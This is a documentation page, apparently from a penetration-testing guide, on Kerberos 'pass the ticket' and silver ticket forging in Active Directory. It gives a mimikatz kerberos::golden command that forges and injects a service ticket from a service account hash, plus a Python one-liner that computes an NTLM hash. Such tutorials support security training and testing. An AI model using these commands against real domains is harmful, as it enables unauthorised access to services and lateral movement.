> For the complete documentation index, see [llms.txt](https://docs.particle42.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.particle42.com/active-directory/lateral-movement/pass-the-ticket.md).

# Pass the Ticket

In overpass the hash we got the TGT and then used it for authenticating using kerberos. The only drawback is that it can be used only from the machine that it was generated. Also, If the service account that we target is not an administrative account then the previous 2 methods don't work

Pass the ticket uses TGS so that once the ticket is generated it can be exported and used from any other machine. This provides the following advantages,

* No administrative privileges are required, if the service ticket belongs to the current user
* We can choose the machine from which machine to use the ticket from

In the "Creating & Cracking TGS" section we got our hands on the password to the Service Account. With this we can craft our own ticket with the necessary permissions that we desire, so this is called the silver ticket. 

The point of this exercise is we can access any resource that this service account has access to.

We also need the Security Identifier (SID) of the domain to create the ticket,

```
whoami /user
```

The output will be somthing like this,

<mark style="color:red;">**S-1-5-21-1602875587-2787523311-2599479668**</mark>-1103

and the highlighted text is the identifier.&#x20;

Once within mimikatz execute the following command,

```
kerberos::golden /user:Current_User /domain:Ad-Domain_name /sid:S-1-5-21-1602875587-2787523311-2599479668 /target:complete_SPN_of_Service /service:HTTP /rc4:E2B475C11DA2A0748290D87AA966C327 /ptt
```

rc4 - The password hash of the service. Plain password cannot be used and the hash has to be calculated to be used with this command.&#x20;

The following command can be used to generate NTLM from password,

```
python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<password>".encode("utf-16le")).digest())'
```